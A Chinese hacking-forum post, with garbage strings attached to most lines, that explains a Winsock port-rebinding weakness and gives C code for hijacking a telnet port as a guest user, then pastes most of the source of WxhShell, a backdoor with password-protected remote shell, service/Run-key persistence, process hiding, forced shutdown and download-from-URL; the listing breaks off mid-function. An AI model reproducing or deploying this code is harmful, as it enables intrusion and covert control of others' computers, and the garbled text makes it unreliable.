在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
20rkKFk* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t:LcNlN| aCV4AyG saddr.sin_family = AF_INET;
d3^OEwe j]0^y}5f+s saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,&U4a1%i#c rwIeqV{: bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
7kKy\W Hx$c
N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.lhn;*Yi "!K'A7.^ 这意味着什么?意味着可以进行如下的攻击:
D\/xu-& 97!>%d[0 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
midsnG+jnf
wiX ~D
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
P\CDd=yWc |_u8mV 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
OPBt$Ki :T3/yd62N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
#<( = }? (SVWdgb 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
7nzGAz_W ZV}X'qGaq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0i[zup #sKWd 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t4Z 6pE :A@ #include
52zGJ I*
#include
ea=83 Zj #include
K7I&sS^x #include
pO<-., DWORD WINAPI ClientThread(LPVOID lpParam);
k&hc m int main()
6`\]derSon {
Q4s&E\} WORD wVersionRequested;
,G^[o,hS DWORD ret;
~fz[x 9\ WSADATA wsaData;
Ja]oGT=e BOOL val;
4"\yf SOCKADDR_IN saddr;
[-*F"}D, SOCKADDR_IN scaddr;
#iSFf int err;
E&
36H SOCKET s;
u}9fj SOCKET sc;
,gnQa int caddsize;
%>Xr5<$:& HANDLE mt;
Mu_i$j$vvP DWORD tid;
vd#,DU=p! wVersionRequested = MAKEWORD( 2, 2 );
-'rj&x{Q)U err = WSAStartup( wVersionRequested, &wsaData );
MrE<vw@he if ( err != 0 ) {
Oi:JiD= printf("error!WSAStartup failed!\n");
)Du-_Z return -1;
;~HNpu$ }
D_|B2gdZY saddr.sin_family = AF_INET;
:s8A:mx w'Z!;4E0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|U[y_Y\a Pn TZ/| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
a
ib}`l saddr.sin_port = htons(23);
DOD6Liau{Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
HOYq?40.R {
b5ie <s printf("error!socket failed!\n");
<D /a l9 return -1;
`rWB`q|i<
}
V*B0lI7`B val = TRUE;
!awh*Xj6 //SO_REUSEADDR选项就是可以实现端口重绑定的
PNF4>) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1czG55 | {
#!!AbuhzK{ printf("error!setsockopt failed!\n");
=xEk7'W6k return -1;
c]Unbm^w }
R $b,h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MUof=EJg>u //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
*d*oS7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q&M:17+:Q <A~GW
'HB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
LZWS^77 {
uIP
iM8( ret=GetLastError();
p?myuNd[ printf("error!bind failed!\n");
, p0KLU\- return -1;
[%.18FWI }
n! .2aq listen(s,2);
NXgRNca while(1)
<%!J? {
?R?Grw)`H caddsize = sizeof(scaddr);
me. /o(!? //接受连接请求
\.>.c g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
)*[
""& if(sc!=INVALID_SOCKET)
R`He^ {
}K8Lm-.= mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
atnQC if(mt==NULL)
u( 9X {
X(GV6mJ4 printf("Thread Creat Failed!\n");
agY5Dg7 break;
Qq0O0U }
V<-htV }
vvh.@f CloseHandle(mt);
wW()Zy0) }
<|JU(B closesocket(s);
#{>uC&jD WSACleanup();
+ zDc return 0;
;f(n.i }
6F ;Or DWORD WINAPI ClientThread(LPVOID lpParam)
7)PJ:4IqS {
<3Fz>}V32 SOCKET ss = (SOCKET)lpParam;
&|z|SY]DL SOCKET sc;
7:kCb[ji" unsigned char buf[4096];
c(:Oyba SOCKADDR_IN saddr;
[0op)Kn long num;
6H6Law!) DWORD val;
#01/(:7 DWORD ret;
W gZ@N //如果是隐藏端口应用的话,可以在此处加一些判断
RO$*G
jQd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&E]"c]i+ saddr.sin_family = AF_INET;
82.HH5Z{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
0x4l5x$8 saddr.sin_port = htons(23);
bZXlJa`'S if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=SL^>HS.fo {
f\=6I3z printf("error!socket failed!\n");
]0YDb~UB return -1;
Cn/q= }
(-'PD_| val = 100;
0/*X=5 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n531rkK- {
'F<Sf:?.p ret = GetLastError();
lux9o$ % return -1;
@aUZ#,(< }
X$ PS(_M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p Mh++H]" {
d~,n_E$q; ret = GetLastError();
c*jr5 Y return -1;
{~"Em'}J }
Pd,!& if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(Y>U6 {
0pCDEs printf("error!socket connect failed!\n");
r=|vad$ closesocket(sc);
6iyt2qkh closesocket(ss);
| 4%v"U return -1;
CCy. }
zM)M_L while(1)
~(M*6b {
nT)~w
s //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
}:"R-s //如果是嗅探内容的话,可以再此处进行内容分析和记录
}0krSzcn#, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
%va[jJ num = recv(ss,buf,4096,0);
w
zdxw$E if(num>0)
pM,#wYL send(sc,buf,num,0);
cx<h_ else if(num==0)
:> x:(K break;
S[ i$e num = recv(sc,buf,4096,0);
"NlRSc# if(num>0)
YqkA&qL]#; send(ss,buf,num,0);
QK,=5~I J else if(num==0)
%OTQRe: break;
v)TUg0U=, }
A<]&JbIt closesocket(ss);
"ngSilH?D closesocket(sc);
uTxX`vH@! return 0 ;
P:jDB{ }
F1zT )wW e3G7K8 6_x}.bkIx= ==========================================================
^"PfDTyA 8a_ UxB 下边附上一个代码,,WXhSHELL
;B,nzx(L ?=TL2"L ==========================================================
oD Q9.t p|xs|O6{ #include "stdafx.h"
nYo&x'
<|ka{=T #include <stdio.h>
0-6:AHix #include <string.h>
)zo#1$C- #include <windows.h>
-9hp+0 < #include <winsock2.h>
vsOdp:Yp9! #include <winsvc.h>
"TEBByO' #include <urlmon.h>
#i'C OaX HJ^k #pragma comment (lib, "Ws2_32.lib")
WK/b=p|#o #pragma comment (lib, "urlmon.lib")
^\xCqVk_R oHv{Y #define MAX_USER 100 // 最大客户端连接数
=ip~J<sw& #define BUF_SOCK 200 // sock buffer
|_xZ/DT #define KEY_BUFF 255 // 输入 buffer
,<R>Hiwg/s >eYU$/80 #define REBOOT 0 // 重启
*93l${' #define SHUTDOWN 1 // 关机
t?pIE cl ~N)( ^ 4 #define DEF_PORT 5000 // 监听端口
a>-}\GXTA s{x*~M$vt #define REG_LEN 16 // 注册表键长度
xkk@{}J\ #define SVC_LEN 80 // NT服务名长度
<(u3+`f1s r{;VTQ // 从dll定义API
v
Ie=wf~D` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
IN]`lJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
kMfc"JXF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
2ID*U d* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,)B~cic'u `2
%eDFZ // wxhshell配置信息
(r#5O9|S struct WSCFG {
Zi2Eu4p l{ int ws_port; // 监听端口
-+j9X;h: char ws_passstr[REG_LEN]; // 口令
kx;xO>dC int ws_autoins; // 安装标记, 1=yes 0=no
0XBBA0tq char ws_regname[REG_LEN]; // 注册表键名
tS_xa char ws_svcname[REG_LEN]; // 服务名
iMOPD}`IX char ws_svcdisp[SVC_LEN]; // 服务显示名
{Oc?C:aI= char ws_svcdesc[SVC_LEN]; // 服务描述信息
: pE-{3I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@M1yBN int ws_downexe; // 下载执行标记, 1=yes 0=no
&UJTy' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B^_$
hJncc char ws_filenam[SVC_LEN]; // 下载后保存的文件名
k=ior ;:8jxkx6% };
6I5[^fv45G x0AqhT5} // default Wxhshell configuration
(F4d Fh struct WSCFG wscfg={DEF_PORT,
.5Z,SGBf "xuhuanlingzhe",
pDq^W@Rq 1,
O;&yA< "Wxhshell",
Kc-A-P &Ry "Wxhshell",
H;b'"./ "WxhShell Service",
ATXx?
b8h "Wrsky Windows CmdShell Service",
YDZ1@N}^B "Please Input Your Password: ",
7Dx .; 1,
Ue>A "
http://www.wrsky.com/wxhshell.exe",
|aOnV,} "Wxhshell.exe"
{8>_,z^P) };
~NxoF iC5JU&l // 消息定义模块
+"N<- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
C7fi1~ char *msg_ws_prompt="\n\r? for help\n\r#>";
wZ\e3H z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.x-Z+Rs{g char *msg_ws_ext="\n\rExit.";
_6QLnr&@j char *msg_ws_end="\n\rQuit.";
Y+PvL|`O char *msg_ws_boot="\n\rReboot...";
?G%, k
LJJ char *msg_ws_poff="\n\rShutdown...";
I;|5C=! char *msg_ws_down="\n\rSave to ";
yW6[Fpw d@q t%r3; char *msg_ws_err="\n\rErr!";
?XTg%U
char *msg_ws_ok="\n\rOK!";
9{]r+z: gYH:EuY, char ExeFile[MAX_PATH];
]=
QCCC int nUser = 0;
w3]0
!)t1 HANDLE handles[MAX_USER];
DT7-v4Zd int OsIsNt;
);/5#b@<Y >FMT#x t SERVICE_STATUS serviceStatus;
\SH D SERVICE_STATUS_HANDLE hServiceStatusHandle;
W<Vzd4hR Pi]s<3PL // 函数声明
GWkJ/EX int Install(void);
|2t7mat int Uninstall(void);
,ex(pmZ; int DownloadFile(char *sURL, SOCKET wsh);
X-2S*L' int Boot(int flag);
9|kEq>d void HideProc(void);
efAahH int GetOsVer(void);
dW=D] int Wxhshell(SOCKET wsl);
|{|r?3 void TalkWithClient(void *cs);
|@bNd7=2d int CmdShell(SOCKET sock);
?PxYS%D_L int StartFromService(void);
cI4qgV int StartWxhshell(LPSTR lpCmdLine);
gJ[q
{b MFdFZkpiV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
YvP"W/5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
=x.v*W]F` X=c
,`&^ // 数据结构和表定义
uRq#pYn@ SERVICE_TABLE_ENTRY DispatchTable[] =
$^+KR]\q {
cM'[;u {wscfg.ws_svcname, NTServiceMain},
Gqz)=' {NULL, NULL}
T7Qd
I[K%b };
8_,wOkk_B yD
id`ym // 自我安装
}6{ )Jv int Install(void)
hD.wKX?oO {
!rmo*-=^= char svExeFile[MAX_PATH];
8\t7}8f HKEY key;
btz3f9 strcpy(svExeFile,ExeFile);
&IPK5o, l{SPV8[i // 如果是win9x系统,修改注册表设为自启动
GN"LU>9| if(!OsIsNt) {
2
]6u
Be if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
M]zNW{Xt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;? QAPTz RegCloseKey(key);
Jt^JE{m9% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<y/AEY1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
#Lt+6sa]2@ RegCloseKey(key);
N0KRND return 0;
[#fqyg }
48*pKbbM4 }
Q6<Uuiw }
HQj4h]O# else {
>!.lr9(l ~l(tl[ // 如果是NT以上系统,安装为系统服务
ba:^zO^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oa|*-nw if (schSCManager!=0)
! { aA*E{ {
otVdx&%] SC_HANDLE schService = CreateService
T:5%sN;#O (
B{7/A[$%C schSCManager,
4T\/wyq0 wscfg.ws_svcname,
WC; a wscfg.ws_svcdisp,
+W[#;)ea( SERVICE_ALL_ACCESS,
,+evP=(cX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
k(Xv&Zn SERVICE_AUTO_START,
dp W%LXM_ SERVICE_ERROR_NORMAL,
eTHh svExeFile,
SytDo (_=W NULL,
|VF"Cjw? NULL,
8ngf(#_{_n NULL,
@n'ss!h NULL,
y{P9k8v!z NULL
!9OgA );
LZ dNG\- if (schService!=0)
hvZR4|k> {
.Q@'O b` CloseServiceHandle(schService);
|^!@ CloseServiceHandle(schSCManager);
glIIJ5d|, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
XmR5dLc8 strcat(svExeFile,wscfg.ws_svcname);
cYS+XBz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ixpG[8s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,6pH *b$ RegCloseKey(key);
(fb\A6 return 0;
a}hM}U! }
' "
yl>" }
xK 'IsMo[ CloseServiceHandle(schSCManager);
&$im^0`r_ }
nmrk-#._@9 }
c17==S fdW={}~ return 1;
>*CK@"o }
-2d&Aq4m) I/|n
ma/ $ // 自我卸载
4+bsG6i int Uninstall(void)
h]9^bX__Z {
4tWI)}+ak HKEY key;
c>.X c[H pBLO if(!OsIsNt) {
LXl! !i% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
eQj/)@B:V RegDeleteValue(key,wscfg.ws_regname);
v:;cTX=x`# RegCloseKey(key);
7C^ nk
z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L\DaZ(Y RegDeleteValue(key,wscfg.ws_regname);
ZZ7U^#RT RegCloseKey(key);
iq-o$6Pg return 0;
}FVX5/.' }
g.s oNqt= }
#m>mYp8E.5 }
p60D{UzU else {
k6S<46}h| Bs}>#I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
iSHl_/I< if (schSCManager!=0)
Xi.?9J`@ {
-}o;Y)
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
,pzCJ@5 if (schService!=0)
=oJiNM5_u {
UtN>6$u
if(DeleteService(schService)!=0) {
EM}z-@A> CloseServiceHandle(schService);
g!ww;_ CloseServiceHandle(schSCManager);
ydt1ED0Q- return 0;
b{&@Lm0Tn }
g=)@yZ3>v CloseServiceHandle(schService);
=["GnL*!0 }
/SiQw7yp% CloseServiceHandle(schSCManager);
$)U
RY~;i }
@:63OLlrG }
9cLKb /W9=7&R0 return 1;
J8jbtL O' }
{}z7N~ &\LbajP:+ // 从指定url下载文件
L,i-T:Z~= int DownloadFile(char *sURL, SOCKET wsh)
`6zoZM7?Y {
[K5afnq` HRESULT hr;
q45n.A6a char seps[]= "/";
*d=pK*g char *token;
5q\]] LV> char *file;
}{$@|6)R char myURL[MAX_PATH];
fA8 ,wy|> char myFILE[MAX_PATH];
FX{Sb" ^dro*a, strcpy(myURL,sURL);
WDcjj1`l
token=strtok(myURL,seps);
Cd4G&(= while(token!=NULL)
o\N),;LM {
2n\EZ file=token;
J&Ah52 token=strtok(NULL,seps);
n}"MF>zDK }
+p2)uXqW .L}ar7 GetCurrentDirectory(MAX_PATH,myFILE);
WaYT\CG7y strcat(myFILE, "\\");
zQ6otDZx strcat(myFILE, file);
c5JxKU_ send(wsh,myFILE,strlen(myFILE),0);
>B==*,| send(wsh,"...",3,0);
dwRJ0D]& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i]P]o) if(hr==S_OK)
C[75!F return 0;
1'ZBtX~A else
7z}NI,R}1 return 1;
.mMM]*e[0 Hg]r5Fe/c }
xT%CY(:9X )Ipa5i>t // 系统电源模块
a$ Z06j int Boot(int flag)
=cxjb,r {
SJ<nAX HANDLE hToken;
0L'h5i>H) TOKEN_PRIVILEGES tkp;
[l0>pHl@ OmsNo0OA if(OsIsNt) {
YtFtU;{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
uKK+V6}!kj LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*t63c.S tkp.PrivilegeCount = 1;
Up~#]X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&U:;jlST9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$aEL>,X if(flag==REBOOT) {
W+e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ikUG`F%W return 0;
8< R#} }
U<zOR=_ else {
PA Jt M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rAgb<D@,H return 0;
4h-tR }
{D$+~lO }
8RB\P:6h else {
Bx)4BPaN if(flag==REBOOT) {
opd^|xx0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
?e0ljx; return 0;
F&^u1RYz }
vLq_l4l
else {
(<|,LagTuc if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-GH>12YP return 0;
r+>gIX+Fl }
DKR2b`J }
I=0`xF|4K- Pa+%H]vB return 1;
u{J$]%C
}
b:2#3;) A|7%j0T // win9x进程隐藏模块
m;'ebkq void HideProc(void)
w=,bF$:fIW {
S/V%<<[>p] 9J*.'Y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
K9]L>Wj if ( hKernel != NULL )
",Mr+;;:[ {
Dc2H<=]; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
zt6GJz1q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Kqm2TMO]>V FreeLibrary(hKernel);
y2KR^/LN|Y }
7*.nd h:xvnyaI return;
<v%Q|r }
0-6rIdDTM ZwM(H[iqL // 获取操作系统版本
\I( g70 int GetOsVer(void)
;X , A|m$( {
8MU+i%hd OSVERSIONINFO winfo;
I;FHjnn( winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Qhy!:\&1 GetVersionEx(&winfo);
5<YV`T{5Kl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:<hM@>eFn return 1;
#A\@)wJ else
{\hjKP return 0;
f3^Anaa]l }
*PM#ngLX}r }]<0!q &xB // 客户端句柄模块
9(6f:D int Wxhshell(SOCKET wsl)
3N257] {
Lcb5^e?'Q SOCKET wsh;
Y7BmW+ struct sockaddr_in client;
gamE^Ee DWORD myID;
5X&Y~w,poU 2u Zb2O while(nUser<MAX_USER)
_0}u0fk {
Ogv9_X8 int nSize=sizeof(client);
>e>%AMzo[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
41g
"7Mk if(wsh==INVALID_SOCKET) return 1;
CVE(N/&b 5:|9pe) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,Wv+Ek if(handles[nUser]==0)
#zRHYZc'T| closesocket(wsh);
:er(YWF: else
F%P"T%| nUser++;
$7" Y/9Y }
0nbY~j$A= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
L+N\B@ 0- M0yv=g return 0;
w p\-LO~ }
Qp7h|< MX? *jYl // 关闭 socket
=WT&unw} void CloseIt(SOCKET wsh)
SSxp!E' {
,.Lwtp,n closesocket(wsh);
;.'?(iEB nUser--;
ulE5lG0c ExitThread(0);
X!_&%^L' }
e>6|# d DL`8qJ'mJs // 客户端请求句柄
IdqCk0lVD void TalkWithClient(void *cs)
j"K^zh {
C#-HWoSi }{y)a<` SOCKET wsh=(SOCKET)cs;
_B>'07D0 char pwd[SVC_LEN];
^"<x4e9+j char cmd[KEY_BUFF];
'Lq+ONX5 char chr[1];
& .0A% int i,j;
{0~\ T[qm 4sRM"w; while (nUser < MAX_USER) {
fV@[S z%S$~^=b if(wscfg.ws_passstr) {
zOd*> if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
DQ(0:r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7Xx3s@ //ZeroMemory(pwd,KEY_BUFF);
n]df)a i=0;
"iTjiH)Q( while(i<SVC_LEN) {
<8(=Lv`)q 4GbfA
.u // 设置超时
Y?TS, fd_set FdRead;
@Ddz|4 vEi struct timeval TimeOut;
"4\k1H"_ FD_ZERO(&FdRead);
7HkFDI()1 FD_SET(wsh,&FdRead);
}f;WYz 5 TimeOut.tv_sec=8;
/{f"0]-RA TimeOut.tv_usec=0;
Qo)Da}uo20 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&Ts!#OcB, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
3CgID6[Sy <o/!M6^: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b{qN7X~> pwd
=chr[0]; SV@*[r
if(chr[0]==0xd || chr[0]==0xa) { <l(n)|H1P
pwd=0; +: x[cK
break; EjL]#,QR
} [0EWIdT*b
i++; =* G3Khz!
} udu<Nis4
,VS(4
// 如果是非法用户,关闭 socket )7 q"l3e"u
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FY^2 Y
} G &xtL
V1B!5N<
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "]#Ij6ml
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @4hzNi+
T:u>7?8o
while(1) { ele@xl
K(i}?9WD
ZeroMemory(cmd,KEY_BUFF); uLafO=Q
pd:7K'yaw
// 自动支持客户端 telnet标准 /i3JP}
j=0; D#UuIZ
while(j<KEY_BUFF) { T[ZmD{6l
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @oE
5JM
cmd[j]=chr[0]; :~ pGHl
if(chr[0]==0xa || chr[0]==0xd) { T/\RViG3
cmd[j]=0; Sp492W+
break; z3y{0<3
} h <e
j++; <mQXS87
} (oi:lC@h*
EW|$qLg
// 下载文件 qFD ZD)K
if(strstr(cmd,"http://")) { iqvLu{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); (iX8YP$ %
if(DownloadFile(cmd,wsh)) 4T31<wk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~#;[bER
else B:Ts_9*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0n{.96r0R
} Ea&|kO|
else { !HvA5'|:}
k5I;Y:~`
switch(cmd[0]) { Z1eT>6|]r
!l9{R8m>eJ
// 帮助 m<h%BDSzr{
case '?': { iM@$uD$_Q2
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BM<q;;pO
break; m+0yf(w
} ;cXw;$&D
// 安装 qD{1X25O
case 'i': { I/`"lAFe
if(Install()) M76p=*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R9U{r.AA
else a_RY Yj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S"cTi[9
break; 4.!1odKp
} =]%JTGdp(
// 卸载 U?UU]>Q
case 'r': { krUtOVI
if(Uninstall()) cLV*5?gVO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }R%H?&P
else g&s.
0+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L,}'ST
break; i"h\*B=
} 'X;cgAq8(
// 显示 wxhshell 所在路径
h[W`P%xZ
case 'p': { pey=zR!
char svExeFile[MAX_PATH]; aKDY_D
strcpy(svExeFile,"\n\r"); iFd
!ED
strcat(svExeFile,ExeFile); KqK]R6>
send(wsh,svExeFile,strlen(svExeFile),0); $aV62uNf
break; QTy=VLk43
} o-\h;aQJ
// 重启 JOJ.79CT
case 'b': {
?9`j1[0
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8!E.3'jb
if(Boot(REBOOT)) i#'K7XM2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DpRMXo[
else { 'H530Y\
closesocket(wsh); Gyq 6?
ExitThread(0);
@ap!3o8,9
} e9{ii2M
break; "wgPPop
} _4by3?<c
// 关机 M& ZKc
case 'd': { =A'>1N
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LCivZ0?|X
if(Boot(SHUTDOWN)) 7m2iL#5[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,X|Oe@/
else { Z)7{~xq
closesocket(wsh); 3Bl|~K;-
ExitThread(0); JWNN5#=fQ
} ZFtx&vrP
break; C~ &E7w